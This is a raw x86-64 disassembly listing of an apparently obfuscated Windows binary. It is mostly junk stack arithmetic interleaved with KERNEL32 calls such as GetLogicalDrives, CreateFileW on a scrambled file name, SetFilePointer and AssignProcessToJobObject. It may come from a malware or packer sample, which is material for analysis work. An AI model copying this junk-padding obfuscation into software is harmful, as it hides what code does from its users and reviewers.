mov byte [rsp + 0x874], al
mov rax, qword [rsp + 0x1a498]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb3c4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd80c], eax
mov eax, dword [rsp + 0xd5f8]
mov ecx, dword [rsp + 0xd0f0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd4bc], eax
mov eax, dword [rsp + 0xd1b4]
mov ecx, dword [rsp + 0xd8fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xbc54], eax
mov rax, qword [rsp + 0x1a3c0]
mov ecx, dword [rsp + 0xcd70]
mov eax, dword [rax]
and eax, ecx
mov dword [0x1402ad6c8], eax
mov rax, qword [rsp + 0x19cf8]
mov ecx, dword [rsp + 0x9ccc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd778], eax
movzx eax, word [rsp + 0x3a3c]
mov word [rsp + 0x3a54], ax
movsx eax, byte [0x1402bf544]
mov rcx, qword [rsp + 0x1a088]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1d1], al
mov rax, qword [rsp + 0x19fe0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3688]
add eax, ecx
mov rcx, qword [rsp + 0x1a2e8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x7a7]
mov byte [rsp + 0x875], al
mov rax, qword [rsp + 0x19dc0]
mov ecx, dword [rsp + 0xd86c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x1a680]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x1a520], rax
mov rax, qword [rsp + 0x19d38]
mov ecx, dword [rsp + 0xd134]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xae74], eax
movzx eax, word [rsp + 0x370c]
movzx ecx, word [rsp + 0x2d84]
xor eax, ecx
mov word [rsp + 0x3a34], ax
movzx eax, byte [rsp + 0x7ca]
mov rcx, qword [rsp + 0x19e48]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov rcx, qword [0x1402bf500]
mov byte [rcx], al
mov rax, qword [rsp + 0x19728]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1a3a0]
mov qword [rsp + 0x1a8c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a8c8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xa404], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xda0c], eax
mov eax, dword [0x1402ad83c]
mov dword [rsp + 0xda10], eax
mov eax, dword [rsp + 0xd7fc]
movzx ecx, al
mov eax, dword [rsp + 0xce00]
shl eax, cl
mov dword [rsp + 0xcfa8], eax
mov eax, dword [rsp + 0xba78]
mov dword [rsp + 0xda14], eax
lea rcx, [rsp + 0x2afc8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov r9d, 1
xor r8d, r8d
mov edx, 0x96a5
mov rcx, qword [rsp + 0x1a708]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xd990], eax
mov rax, qword [0x1402bf548]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a170]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x81c], al
movzx eax, word [rsp + 0x1f98]
movzx ecx, word [rsp + 0x3688]
and eax, ecx
mov word [rsp + 0x1e80], ax
mov eax, dword [rsp + 0xa4fc]
mov ecx, dword [rsp + 0xd7e4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd2e4], eax
mov rax, qword [rsp + 0x1a338]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd7d8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf10], eax
mov rax, qword [rsp + 0x1a6e0]
movzx eax, byte [rax]
mov byte [0x1402bf49c], al
movzx eax, word [rsp + 0x3724]
mov word [rsp + 0x3a58], ax
mov rax, qword [rsp + 0x19870]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19ea0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2874], ax
movzx eax, byte [rsp + 0x7de]
mov byte [rsp + 0x876], al
mov eax, dword [rsp + 0xcf54]
mov ecx, dword [rsp + 0xd7e8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd634], eax
mov rax, qword [rsp + 0x1a0b8]
mov eax, dword [rax]
mov ecx, dword [0x1402ad82c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd5d0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0xc7cc]
mov ecx, dword [rsp + 0xc770]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x85b4], eax
mov rax, qword [rsp + 0x196b8]
mov rcx, qword [rsp + 0x198f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xb418], eax
mov rax, qword [rsp + 0x19a48]
mov eax, dword [rax]
mov dword [rsp + 0xda18], eax
movzx eax, word [rsp + 0x37c4]
mov rcx, qword [rsp + 0x19d18]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x36b4], ax
movzx eax, byte [0x1402bf52d]
mov rcx, qword [rsp + 0x1a878]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402acba3], al
mov eax, dword [rsp + 0xb6d4]
mov rcx, qword [rsp + 0x19910]
mov qword [rsp + 0x1a8d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a8d0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xd9e4], eax
mov rax, qword [rsp + 0x19b90]
mov eax, dword [rax]
mov dword [rsp + 0xda1c], eax
mov rax, qword [0x1402bf648]
mov rcx, qword [rsp + 0x1a6f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x1a3e0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xd098]
mov dword [rsp + 0xda20], eax
movzx eax, word [rsp + 0x2c50]
movzx ecx, word [rsp + 0x2dd4]
xor eax, ecx
mov word [rsp + 0x1b64], ax
mov rax, qword [0x1402bf778]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a5c0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x6d3], al
movsx eax, word [rsp + 0x3800]
movsx ecx, word [rsp + 0x37e4]
and eax, ecx
mov word [rsp + 0x2d34], ax
movsx eax, byte [rsp + 0x828]
mov rcx, qword [0x1402bf4a0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x3e7], al
mov rax, qword [rsp + 0x19db8]
mov ecx, dword [rsp + 0xd6a0]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402ad868], eax
lea rax, [rsp + 0x8cc0]
mov qword [rsp + 0x1a8d8], rax
mov rax, qword [rsp + 0x19c40]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a4c0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3600], ax
mov rax, qword [rsp + 0x1a4e8]
movzx eax, byte [rax]
mov byte [rsp + 0x877], al
mov eax, dword [rsp + 0xd1e4]
mov ecx, dword [rsp + 0x9088]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1a268]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1a440]
mov ecx, dword [rsp + 0xd198]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd7b0], eax
mov rax, qword [rsp + 0x1a538]
mov eax, dword [rax]
mov dword [rsp + 0xda24], eax
mov rax, qword [rsp + 0x1a200]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd4fc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1a038]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1a0d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x35f8]
and eax, ecx
mov word [rsp + 0x2608], ax
mov rax, qword [rsp + 0x19fd8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x837]
imul eax, ecx
mov byte [0x1402acc3a], al
mov rax, qword [rsp + 0x1a720]
mov rcx, qword [rsp + 0x1a570]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd558], eax
mov eax, dword [rsp + 0xd950]
mov rcx, qword [rsp + 0x19a48]
mov qword [rsp + 0x1a8e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a8e0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xcf98], eax
mov eax, dword [rsp + 0xb204]
mov dword [rsp + 0xda28], eax
mov eax, dword [rsp + 0xcfec]
mov ecx, dword [0x1402ad728]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9124], eax
mov eax, dword [rsp + 0xa444]
mov dword [rsp + 0xda2c], eax
mov rax, qword [rsp + 0x19800]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1a470]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x37dc], ax
mov rax, qword [rsp + 0x19ff0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1a088]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x782], al
lea rax, [rsp + 0x3974]
mov qword [rsp + 0x1a8e8], rax
movzx eax, byte [rsp + 0x809]
mov rcx, qword [rsp + 0x19828]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402acc3b], al
mov rax, qword [rsp + 0x19e68]
mov ecx, dword [rsp + 0x80b4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd298], eax
mov rax, qword [rsp + 0x1a0b8]
mov rcx, qword [rsp + 0x1a610]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9a74], eax
mov rax, qword [rsp + 0x1a2b0]
movzx eax, byte [rax]
mov rcx, qword [0x1402bf778]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7ce], al
movzx eax, word [rsp + 0x3644]
mov word [rsp + 0x3a5c], ax
mov rax, qword [rsp + 0x19740]
mov rcx, qword [rsp + 0x1a3d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcd58], eax
mov rax, qword [0x1402bf760]
mov ecx, dword [rsp + 0xc91c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd624], eax
mov rax, qword [rsp + 0x19780]
mov eax, dword [rax]
mov dword [rsp + 0xda30], eax
mov ecx, 0xd
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0xd574], eax
mov rax, qword [rsp + 0x19a68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8de8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb1c8], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0xd0e8], eax
mov rax, qword [rsp + 0x19948]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x199e8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402acbf3], al
movzx eax, word [rsp + 0x252c]
movzx ecx, word [rsp + 0x3680]
add eax, ecx
mov word [rsp + 0x31b4], ax
mov eax, dword [rsp + 0xa2a0]
mov ecx, dword [rsp + 0xa050]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xbb44], eax
mov eax, dword [rsp + 0xd320]
mov rcx, qword [rsp + 0x1a070]
mov qword [rsp + 0x1a8f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a8f0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xd6ac], eax
movzx eax, word [rsp + 0x3760]
mov word [rsp + 0x3a60], ax
mov rax, qword [rsp + 0x19d50]
movsx eax, byte [rax]
mov rcx, qword [0x1402bf4a0]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x1a158]
mov byte [rcx], al
lea rax, [rsp + 0x1c50]
mov qword [rsp + 0x1a8f8], rax
mov rax, qword [rsp + 0x1a5b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7ff]
or eax, ecx
mov byte [rsp + 0x7a1], al
mov rax, qword [0x1402bf4e0]
mov rcx, qword [rsp + 0x19910]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xd0d0], eax
mov eax, dword [rsp + 0xd994]
mov dword [0x1402bf498], eax
mov eax, dword [rsp + 0xd6bc]
mov dword [rsp + 0xda34], eax
mov eax, dword [0x1402bf748]
mov ecx, dword [rsp + 0xd654]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19ef0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19d70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x929c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb2dc], eax
movzx eax, byte [rsp + 0x868]
movzx ecx, byte [rsp + 0x3cc]
and eax, ecx
mov byte [rsp + 0x875], al
mov rax, qword [rsp + 0x19d68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a820]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x3784], ax
mov eax, dword [rsp + 0x95c8]
mov dword [rsp + 0xda38], eax
mov rax, qword [rsp + 0x19eb0]
mov ecx, dword [rsp + 0x9bc4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd518], eax
mov rax, qword [0x1402bf4b0]
mov eax, dword [rax]
mov dword [rsp + 0xda3c], eax
mov rax, qword [rsp + 0x19e80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xceb0]
sub ecx, eax
mov eax, ecx
mov dword [0x1402ad86c], eax
movzx eax, byte [rsp + 0x7f4]
movzx ecx, byte [rsp + 0x804]
sub eax, ecx
mov byte [rsp + 0x85f], al
lea rax, [0x1402ad6f8]
mov qword [rsp + 0x1a900], rax
movsx eax, byte [rsp + 0x827]
mov rcx, qword [rsp + 0x1a6e0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x19ee0]
mov byte [rcx], al
mov rax, qword [rsp + 0x1a8a8]
movsx eax, word [rax]
mov rcx, qword [0x1402bf6a8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x38a8], ax
lea rdx, [rsp + 0x1a908]
mov rcx, qword [rsp + 0x19698]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xd250], eax
mov rax, qword [rsp + 0x19dc0]
mov eax, dword [rax]
mov dword [rsp + 0xda40], eax
mov rax, qword [rsp + 0x1a740]
mov rcx, qword [rsp + 0x198b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd0d8], eax
mov rax, qword [rsp + 0x1a5b8]
movzx eax, byte [rax]
mov rcx, qword [0x1402bf510]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x662], al
mov rax, qword [rsp + 0x1a7c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2644]
sub eax, ecx
mov word [rsp + 0x3728], ax
mov rax, qword [rsp + 0x1a368]
mov rcx, qword [rsp + 0x19710]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [0x1402ad814], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0xceec], eax
mov rax, qword [rsp + 0x19980]
mov eax, dword [rax]
mov rcx, qword [0x1402bf638]
mov qword [rsp + 0x1a910], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a910]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x97f4], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0x6e4b
mov rcx, qword [rsp + 0x1a3c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xceec], eax
mov eax, dword [rsp + 0xafb0]
mov dword [rsp + 0xda44], eax
mov rax, qword [rsp + 0x19f88]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xda20]
shr eax, cl
mov dword [rsp + 0xd828], eax
lea rax, [0x1402acb87]
mov qword [rsp + 0x1a918], rax
movzx eax, word [rsp + 0x2d84]
mov rcx, qword [rsp + 0x1a500]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x1a7b8]
mov word [rcx], ax
mov rax, qword [rsp + 0x19a60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd91c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xcfa0], eax
mov eax, dword [rsp + 0xceb4]
mov dword [rsp + 0xda48], eax
mov rax, qword [rsp + 0x19728]
mov rcx, qword [rsp + 0x1a380]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xceac], eax
mov eax, dword [rsp + 0xd0e0]
mov ecx, dword [rsp + 0xb204]
add ecx, eax
mov eax, ecx
mov dword [0x1402bf6e0], eax
mov rax, qword [rsp + 0x198a8]
mov rcx, qword [rsp + 0x19bd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa3c4], eax
mov rax, qword [rsp + 0x19ec8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x38d8]
sub eax, ecx
mov word [rsp + 0x3630], ax
mov rax, qword [rsp + 0x19af8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19e30]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x7b0], al
mov rax, qword [rsp + 0x1a378]
movzx eax, word [rax]
mov word [rsp + 0x3a64], ax
mov rax, qword [rsp + 0x1a688]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19a08]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x78e], al
mov eax, dword [0x1402ad638]
mov dword [rsp + 0xda4c], eax
mov rax, qword [rsp + 0x1a000]
mov ecx, dword [rsp + 0xd080]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd42c], eax
movzx eax, word [rsp + 0x1e00]
movzx ecx, word [0x1402bf642]
add eax, ecx
mov word [rsp + 0x21d0], ax
lea rcx, [rsp + 0x2d410]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xda50], eax
movzx eax, byte [rsp + 0x868]
mov rcx, qword [rsp + 0x19c28]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x1402acc4a], al
mov eax, dword [rsp + 0xd970]
mov rcx, qword [rsp + 0x1a610]
mov qword [rsp + 0x1a920], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a920]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xce80], eax
mov eax, dword [rsp + 0xd384]
mov ecx, dword [0x1402ad77c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xd9a0], eax
mov eax, dword [rsp + 0x8754]
mov dword [rsp + 0xda54], eax
mov rax, qword [rsp + 0x19af0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xcde8]
shr eax, cl
mov dword [rsp + 0xafa0], eax
movzx eax, word [0x1402ad6d0]
mov word [rsp + 0x3a68], ax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xd4dc], eax
mov rax, qword [rsp + 0x1a6a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a730]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x7c6], al
mov eax, dword [rsp + 0xce20]
mov ecx, dword [rsp + 0xd150]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19c60]
mov dword [rcx], eax
lea rax, [rsp + 0xd6ac]
mov qword [rsp + 0x1a928], rax
mov rax, qword [rsp + 0x1a6e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19ff0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402bf544], al
mov rax, qword [rsp + 0x1a540]
movsx eax, word [rax]
mov rcx, qword [0x1402bf728]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3904], ax
mov rax, qword [rsp + 0x19fd8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7a7]
add eax, ecx
mov byte [rsp + 0x63e], al
movzx eax, word [rsp + 0x3714]
movzx ecx, word [rsp + 0x32a4]
sub eax, ecx
mov word [rsp + 0x3900], ax
mov rax, qword [rsp + 0x19d58]
mov eax, dword [rax]
mov ecx, dword [0x1402ad758]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd8f0], eax
mov edx, 0x19fb
mov rcx, qword [rsp + 0x1a770]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xd770], eax
mov eax, dword [rsp + 0xd0a4]
mov dword [rsp + 0xda58], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov rax, qword [rsp + 0x19cd8]
mov ecx, dword [rsp + 0xcd3c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd158], eax
mov rax, qword [0x1402bf5a8]
mov eax, dword [rax]
mov dword [rsp + 0xda5c], eax
mov rax, qword [rsp + 0x19c78]
mov ecx, dword [rsp + 0x9714]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcfb0], eax
lea rax, [rsp + 0x39c8]
mov qword [rsp + 0x1a930], rax
lea rax, [rsp + 0x81e]
mov qword [0x1402bf490], rax
mov eax, dword [rsp + 0x9674]
mov ecx, dword [rsp + 0xc8f4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa224], eax
mov rax, qword [rsp + 0x1a038]
mov rcx, qword [rsp + 0x1a328]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd37c], eax
lea rax, [0x1402ad6b4]
mov qword [rsp + 0x1a938], rax
mov rax, qword [rsp + 0x1a420]
mov rcx, qword [rsp + 0x19bf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xd34c], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.goNMse7sBgm4genQV
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1a940], rax
mov rax, qword [rsp + 0x1a0c0]
movzx eax, byte [rax]
mov byte [rsp + 0x878], al
mov rax, qword [rsp + 0x19950]
movzx eax, word [rax]
movzx ecx, word [0x1402ad7b4]
shl eax, cl
mov word [rsp + 0x36b0], ax
mov rax, qword [rsp + 0x19f48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x86c]
xor eax, ecx
mov byte [rsp + 0x854], al
movsx eax, word [rsp + 0x3770]
mov rcx, qword [rsp + 0x1a5f8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2c8c], ax
mov rax, qword [rsp + 0x19af0]
mov rcx, qword [rsp + 0x19eb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [0x1402bf4e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19c98]
mov ecx, dword [rsp + 0xd0d4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xb818], eax
movzx eax, word [rsp + 0x35f4]
mov word [rsp + 0x3a6c], ax
mov rax, qword [rsp + 0x1a840]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19c70]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x206], al
mov eax, dword [rsp + 0xd6b4]
mov ecx, dword [rsp + 0xd948]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xda18], eax
mov eax, dword [rsp + 0xd5d4]
mov dword [rsp + 0xda60], eax
mov rax, qword [rsp + 0x19e08]
mov eax, dword [rax]
mov ecx, dword [0x1402ad684]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x87d4], eax
mov rax, qword [rsp + 0x1a268]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd7d8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb93c], eax
mov rax, qword [rsp + 0x1a918]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19e48]
movzx ecx, byte [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x196d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x1a930]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2338]
and eax, ecx
mov word [0x1402ad870], ax
lea rcx, [rsp + 0x2d530]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xd154], eax
mov rax, qword [rsp + 0x19ea8]
mov ecx, dword [0x1402bf658]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xca00], eax
mov eax, dword [rsp + 0xd1c8]
mov dword [rsp + 0xda64], eax
mov rax, qword [rsp + 0x19a30]
mov ecx, dword [rsp + 0xd384]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x19f20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19c58]
mov eax, dword [rax]
mov dword [rsp + 0xda68], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xd258], eax
mov rax, qword [rsp + 0x19980]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb93c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb418], eax
movsx eax, byte [rsp + 0x92]
movsx ecx, byte [rsp + 0x28e]
xor eax, ecx
mov byte [rsp + 0xf5], al
movsx eax, word [rsp + 0x37e4]
mov rcx, qword [rsp + 0x19f90]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x3768], ax
mov rax, qword [rsp + 0x1a378]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19fe0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x386c], ax
mov rax, qword [rsp + 0x1a188]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x703]
sar eax, cl
mov byte [0x1402acb87], al
lea rax, [rsp + 0x9e28]
mov qword [rsp + 0x1a948], rax
mov rax, qword [rsp + 0x1a948]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8540]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xc6ac], eax
movzx eax, word [rsp + 0x37cc]
mov word [rsp + 0x3a70], ax
movzx eax, byte [rsp + 0x859]
mov rcx, qword [rsp + 0x19a08]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x590], al
mov rax, qword [rsp + 0x1a248]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8de8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd5b0], eax
mov rax, qword [rsp + 0x1a3a8]
mov eax, dword [rax]
mov dword [rsp + 0xda6c], eax
mov rax, qword [0x1402bf648]
mov rcx, qword [rsp + 0x1a580]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd7f8], eax
mov ecx, 3
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0xd524], eax
lea rcx, [rsp + 0x2aff0]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, dword [rsp + 0xd614]
mov ecx, dword [rsp + 0xd534]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa0fc], eax
mov rax, qword [rsp + 0x1a918]
movzx eax, byte [rax]
mov byte [0x1402bf488], al
mov rax, qword [rsp + 0x19e10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19870]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1b8c], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x1b5c
mov rcx, qword [rsp + 0x1a3c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xd67c], eax
mov r9d, 1
lea r8, [rsp + 0x1a908]
mov rdx, qword [rsp + 0x19eb8]
mov rcx, qword [rsp + 0x1a3f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xda70], eax
mov eax, dword [rsp + 0xda08]
mov ecx, dword [rsp + 0xd724]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd074], eax
mov rcx, qword [rsp + 0x1a480]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xd224], eax
mov rax, qword [0x1402bf5a8]
mov eax, dword [rax]
mov dword [rsp + 0xda74], eax
movsx eax, byte [rsp + 0x7d0]
movsx ecx, byte [rsp + 0x3e7]
sub eax, ecx
mov byte [rsp + 0x83b], al
mov rax, qword [rsp + 0x19ec8]
movzx eax, word [rax]
mov word [rsp + 0x3a74], ax
mov rax, qword [rsp + 0x19ec0]
movzx eax, word [rax]
mov rcx, qword [0x1402bf700]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x37f8], ax
mov rax, qword [rsp + 0x1a730]
movzx eax, byte [rax]
mov byte [rsp + 0x879], al
mov rax, qword [rsp + 0x1a0d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xce90]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd468], eax
mov rax, qword [rsp + 0x19cc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd348]
or ecx, eax
mov eax, ecx
mov dword [0x1402ad7a8], eax
mov rax, qword [rsp + 0x1a498]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd05c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xd8d0], eax
mov eax, dword [rsp + 0xd6b0]
mov rcx, qword [rsp + 0x196e0]
mov qword [rsp + 0x1a950], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a950]
mov eax, dword [rax]
shr eax, cl
